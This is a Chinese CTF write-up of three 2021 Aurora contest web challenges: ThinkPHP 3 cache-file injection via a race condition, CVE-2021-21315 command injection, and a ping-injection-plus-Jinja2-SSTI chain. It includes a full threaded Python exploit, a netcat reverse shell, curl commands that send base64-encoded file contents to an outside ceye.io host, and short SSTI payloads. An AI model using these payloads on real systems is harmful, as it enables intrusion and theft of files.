2021 Aurora内部赛
buy_a_flag
看了2遍大概是看懂了
以下内容是出题人的博客:https://oatmeal.vip/ctf-wp/buyaflag/
前置知识
MVC框架
tp3是一个基于MVC和面向对象的轻量级PHP开发框架,MVC即Model-View-Controll的缩写。
模板Model编写Model类,负责数据的操作;
视图View编写html文件,负责前台的页面显示;
控制器Controll编写类文件,负责后端的操作等等。
URL路由模式
tp3有几种路由模式:普通模式、PATHINFO模式、REWRITE模式、兼容模式。控制路由方式有配置文件中的参数决定,这题由于Nginx常规配置不支持PATHINFO,我使用了兼容模式。
'URL_MODEL' => 3, // URL访问模式,可选参数0、1、2、3,代表以下四种模式:
// 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE 模式); 3 (兼容模式) 默认为PATHINFO 模式
Application目录
Application是主要应用目录,存放几乎所有的Coding。
Application
├─Common 应用公共模块
│ ├─Common 应用公共函数目录
│ └─Conf 应用公共配置文件目录
├─Home 默认生成的Home模块
│ ├─Conf 模块配置文件目录
│ ├─Common 模块函数公共目录
│ ├─Controller 模块控制器目录
│ ├─Model 模块模型目录
│ └─View 模块视图文件目录
├─Runtime 运行时目录
│ ├─Cache 模版缓存目录
│ ├─Data 数据目录
│ ├─Logs 日志目录
│ └─Temp 缓存目录
传参方法 I()
I方法用来传参,其用法格式如下:
I('变量类型.变量名/修饰符',['默认值'],['过滤方法或正则'],['额外数据源'])
第一个参数为传参的类型例如POST或者GET等等;后面三个参数可选,二三分别是默认值以及过滤方法,后面会讲到,本质上调用了call_user_func()
。
缓存方法S()
设置缓存的方法有两种,F方法和S方法。例子如下:
F('data', 'phpinfo()');
F方法缓存的文件名问data.php,生成文件位于Runtime/Data,没有经过加密。
S('data', 'phpinfo()');
S方法生成的缓存文件名经过md5编码,生成文件位于Runtime/Temp/,生成文件时序列化文件内容,并会注释掉文件内容,例如当你传入了1:
<?php
//000000000000s:1"1";
?>
该生成文件的方法并不安全,注释可以使用一些特殊字符来换行绕过。
编码后的文件名也是可以被猜解的,为了避免被拆解,可以设置变量DATA_CACHE_KEY
。
弱口令登录
Bootstarp写的前端,迅速确定功能点:购买、登录、关于、登出,其中后两个功能可以不看,而购买功能需要登录。
直接看登录点,有三个地方有提示,主页的注释页:
提示存在一个guest账户,使用guest/guest就可以成功登陆。
POST $discount
登录之后的购买功能,buy后提交参数折扣$discount
,burp抓包设置为0即可购买,源码两处地方提示了$discount
参数。
后台的比较由于没有对$discount
进行类型转化,这里的$discount
传入数组等非数字类型的变量都可以成功。
下载code
tp3代码审计
先找到控制器路径shop/Application/Home/Controller/IndexController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
//----------------------------------
// 亲爱的同事你好。
// 当你看到这些代码的时候,意味着我已经从Aurora公司离职了。
// 意味着接下来这一坨像屎一样的项目需要你来维护了。
// 如果你尝试修改这些代码,这一定是一项错误的决定。
// 不要骂我为什么不写注释,因为代码虽然是我写的,但是我自己都看不懂,所以劝你别动!
// 千万别动!千万别动!千万别动!重要的事情说三遍!
// 这家公司每周都在996,经常加班,蓝腾还不发加班工资,偶尔007。
// 面试的时候说的那些福利都是骗人的,有时候还拖欠工资,不买社保,不要公积金。
// 还有一件很重要的事情,公司女程序员极少,所以想要解决单身问题,基本是没戏了。
// 深圳那么多公司,赶紧考虑下一家吧。
// - Oatmeal
//----------------------------------
class IndexController extends Controller
{
public function check()
{
// ...数据校验代码
rlog($return['code'], 'log');
// ...渲染页面代码
}
public function state()
{
// ...状态校验代码
rlog($return['code'], 'state');
}
public function logout()
{
// ...状态校验代码
rlog(1, 'logout');
// ...渲染页面代码
}
public function buy($filter=null) {
//HTTP协议,传输json需要添加请求头
header('Content-Type:application/json; charset=utf-8');
$username = session('username');
if (!$username) {
$return['code'] = 0;
$return['message'] = '你都没登录买你emoji呢';
rlog($return['code'], 'buy');
exit(json_encode($return));
}
$gid = 5;
if (empty($_POST)) {
$discount = 1;
} else {
if ($filter) {
$filter = think_filter($filter)? null: $filter;
}
$discount = I('post.discount','',$filter);
}
rest();
$return = $this->code($username, $gid, $discount);
rlog($return['code'], 'buy');
echo json_encode($return);
}
private function code($username = 'guest', $gid = 5, $discount = 1) {
$info = M('good')
->WHERE('gid=' . $gid)
->FIELD('gprice')
->SELECT();
$user = M('account')
->JOIN('shop_user on shop_account.id=shop_user.id')
->FIELD('shop_user.id, currency')
->WHERE("username='" . $username. "'")
->SELECT();
$gprice = $info[0]['gprice'];
$currency = $user[0]['currency'];
if ($gprice * $discount > $currency) {
$return['code'] = 0;
$return['message'] = '没钱你买你emoji';
} else {
$return['code'] = 1;
$return['message'] = '购买成功,这是CODE的地址:this_is_Code_and_Have_a_g00d_t1me.zip,祝您旅途愉快。';
$data['currency'] = $user['currency'] - $info['gprice'] * $discount;
M('account')->filter('strip_tags')->WHERE('id' . $user[0]['id'])->save($data);
};
return $return;
}
}
可以看到在执行完state、log、logout、buy操作之后,控制器会调用一个函数rlog()来操作传入的两个参数。跟进一下,在/Application/Common/Common/function.php
:
/**
* 记录操作日志 支持不同事件
* @param string $event 事件名称
* @param string $code 传入的参数,记录事件成功与否
* @return void
*/
function rlog($code=0, $event='')
{
$log = time();
if ($event == 'log') { // 登录日志
S($log, 'log' . $code,1);
} else if ($event == 'logout') { // 登出日志
S($log, 'logout' . $code,1);
} else if ($event == 'buy') { // 购买日志
S($log, 'buy' . $code,1);
} else if ($event == 'state') { // 状态日志
S($log, 'state' . $code,1);
} else { //临时日志
S($log, 'temp' . $code,1);
}rest();rest();
unlink('Application/Runtime/Temp/' . md5($log) . '.php');
}
这函数看着有模有样,认真看或者Compare一下就知道其实是出题人自己加上去的函数。功能是通过S方法来缓存数据,生成缓存文件。
首先获得当前时间戳:
$log = time();
写缓存文件,如果传入的参数为['log', 'logout', 'state', 'buy']
事件,将事件名和成功与否的状态码$code
写入文件,文件名为当前时间戳的md5加密。
生成缓存文件后调用两次rest()
;
rest();rest();
而rest()
本质上是sleep(1)
。
// 休息函数
function rest() {
sleep(1);
}
也就是说这里会等两秒,之后删除文件。
unlink('Application/Runtime/Temp/' . md5($log) . '.php');
这种写法很熟悉有没有,很容易想到是条件竞争,rest()
是用来缓冲网络延时造成的干扰。
回头看rlog()
函数,传入两个参数$code
以及$event
,其中$code
会通过字符串拼接写入文件,那么要做的就是找到$code
参数可控点。
万能的call_user_func
I方法的第三个参数过滤函数的调用实际上通过了call_user_func()
。或者我们跟踪function.php中的call_user_func()
,找到函数,或者直接开Compare比较一下都行,这里的代码不同很明显了。
我们跟进一下I方法:
I方法在循环体内调用了函数array_map_recursive
而我们接着找,控制器中获取$discount
变量时调用了I方法,并且传入的第三个参数$filter
,而第三个参数可控。
这里的$filter经过过滤确保传入的参数没有危险函数,但是没有过滤rlog
function think_filter(&$value){
// TODO 其他安全过滤
$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
$pattern .= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|",$pattern);
foreach ($vpattern as $v) {
if (preg_match("/$value/i", $v)) {
return true;
}
}
// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
return true;
// $value .= ' ';
} else {
return false;
}
}
如果我们调用buy()
方法,传入了$filter
参数为rlog
,在获取$_POST['discount']
变量时调用了I方法,传入的变量实际上是 call_user_func('rlog', $discount)
,而$discount
可控,在rlog
方法中,$event
默认为空(如果不为空缺省,实际上在PHP5中缺省函数也能调用,只不过会发生报错),传入的$discount
与文件内容拼接,完成注入。
POST方法如下(需要先登录):
POST /index.php?s=/home/index/buy HTTP/1.1
Cookie: PHPSESSID=d33e9d6b455405efc0037fbeb11f1541
filter=rlog&discount=xxxxxxxx
调用函数后生成缓存文件并在两秒后删除,接着跳出函数,回到控制器buy,再一次调用rlog()
记录事件buy,所以这里调用了两次rlog()
,中间有一次rest()
。
所以完整的触发链子:
rlog($discount, ''); // 两次延时rest();rest();
rest(); // 两次rlog调用间延时
rlog($return['code'], ''buy); //两次延时rest();rest();
绕过Tp3缓存注释
这部分POC也比较多了,网上找一找就有了,大概是用%0a或者%0d注入文件内容,重写一行,参见链接:
EXP
循环POST提交discount,注意这里需要用unquote()
即url编码解码一次。
def cache():
while 1:
url = "http://47.75.138.18/index.php?s=/home/index/buy"
discount = unquote('%0dsystem("cat /flag")//', 'utf-8')
payload = {'discount': discount, 'filter': 'rlog'}
headers = {'Cookie': 'PHPSESSID=2846ee569600018f0cf748bf66edd8dc'}
response = requests.request("POST", url, headers=headers, data=payload)
# print(response.text)
同时GET请求缓存文件名,通过获取当前时间的整型值md5加密,如果返回关键字则写入文件终止循环
def get():
while 1:
t = str(int(time.time()))
hl = hashlib.md5()
hl.update(t.encode(encoding='utf-8'))
url = "http://47.75.138.18/Application/Runtime/Temp/" + hl.hexdigest() + '.php'
response = requests.get(url=url)
if response.text.find('Aurora') != -1:
print(response.text)
f = open("flag.txt", "w")
f.write(response.text)
break
最终EXP:
import requests
from urllib.parse import unquote
import time
import hashlib
import threading
def login():
while 1:
url = "http://47.75.138.18/index.php?s=/home/index/check.html"
payload = {'username': 'guest', 'password': 'guest'}
headers = {'Cookie': 'PHPSESSID=2846ee569600018f0cf748bf66edd8dc'}
response = requests.request("POST", url, headers=headers, data=payload)
if response.text.find("成功") != -1:
print("login success!\n")
print("-------------\n")
break
else:
print("login failed!\n")
print("-------------\n")
def cache():
while 1:
url = "http://47.75.138.18/index.php?s=/home/index/buy"
discount = unquote('%0dsystem("cat /flag")//', 'utf-8')
payload = {'discount': discount, 'filter': 'rlog'}
headers = {'Cookie': 'PHPSESSID=2846ee569600018f0cf748bf66edd8dc'}
response = requests.request("POST", url, headers=headers, data=payload)
# print(response.text)
def get():
while 1:
t = str(int(time.time()))
hl = hashlib.md5()
hl.update(t.encode(encoding='utf-8'))
url = "http://47.75.138.18/Application/Runtime/Temp/" + hl.hexdigest() +
'.php'
response = requests.get(url=url)
if response.text.find('Aurora') != -1:
print(response.text)
f = open("flag.txt", "w")
f.write(response.text)
break
if __name__ == "__main__":
login()
threads = [threading.Thread(target=cache), threading.Thread(target=get)]
for thread in threads:
thread.start()
物理黑客攻击
题目进去是个小游戏,但是其实这个游戏和flag一点关系都没有。
正确做法是直接找到/source
源文件:
该路由中调用了Node.js的系统信息库systeminformation
,然后继续查看源码可以在package.json中看到其版本为4.34.15,会造成一个安全漏洞,而这个安全漏洞就是cve-2021-21315。
在网上找下poc:Node.js命令sanitize注入漏洞复现(CVE-2021-21315)
- 反弹shell
?service_name[]=$(nc -e /bin/sh [ip] [port])
然后在自己服务器上监听即可。
- curl外带数据
?service_name[]=$(curl http://t6n089.ceye.io/?a=`ls -a /|base64`)
这里base64编码的目的是防止有些特殊字符像空格会被过滤,将得到的数据base64解码
发现flag是藏在根目录下的隐藏文件中.fl4g
,最后把文件读一下即可
?service_name[]=$(curl http://t6n089.ceye.io/?a=`cat /.fl4g|base64`)
拿shell就给flag?
描述:You must shorter than me!
首先一看ping就想到命令注入或者SSRF,但是一开始没找到传参的方法,找一下响应包
提示参数是url,先尝试命令注入,命令注入需要把前一个语句闭合或者截断,然后加上自己的语句,常用的方式有;
、&
、|
、%0a
等,尝试了几个之后发现%0a
能够使用,其他被过滤了,直接ls
看一下:
?url=%0als
能看到只有一个文件,那就看一下内容:
?url=%0acat index.php
<?php
$url=$_GET['url'];
if(isset($url)){
if(strlen($url)>15){
echo "你多长心里没点逼数吗";
}else if(preg_match('/\*|\;|\||\&/',$url)){
echo "就你TM叫韩毅";
}else{
system("ping -c 4 $url");
}
}else{
header('hint:?url=');
echo '给我一个网址我帮你ping';
}
这里还发现过滤了几个关键的符号*
、&
、|
,而且把长度限制在15个字符内,导致很难反弹shell,而且通过测试发现也无法保存文件,权限不够。接着可以看到根目录下有flag文件,但是读不了,看一眼权限
只有root用户才能读,当前用户是www-data,看来这个用户是行不通了。
注意到根目录下还有个flask文件,尝试一下默认端口5000能不能进去
默认端口进来了,里面是一个表单提交,既然是flask那么大概率是模板注入
经过尝试之后发现似乎把长度限制在20个字符以内,那么就麻烦大了,好像没有一个读文件的payload能这么短的啊,就这样卡了好久。后来经过提示之后想到可以用几个拼接起来,既然这里有6个注入框,那么我们可以用的就有120个字符了,先找来一个短的能够用的payload:
{{lipsum.__globals__.os.popen('cat /flag').read()}}
然后用set进行拼接:
a={%set a=lipsum%}
&b={%set b=a.__globals__%}
&c={%set c=b.os%}
&d={%set d=c.popen%}
&e={%set e=d('cat /flag')%}
&f={{e.read()}}
问题来了,这里一个set
和__globals__
已经超长了,再次卡住。。。
看wp后才发现原来request也能拼接,先把request进行拼接,然后把__globals__
和cat /flag
作为参数传进去即可,这样就能不超过20个字符了。
get:
?s=__globals__&t=cat /flag
post:
a={%set a=lipsum%}
&b={%set b=request%}
&c={%set c=b.args%}
&d={%set d=a[c.s].os%}
&e={%set e=d.popen%}
&f={{e(c.t).read()}}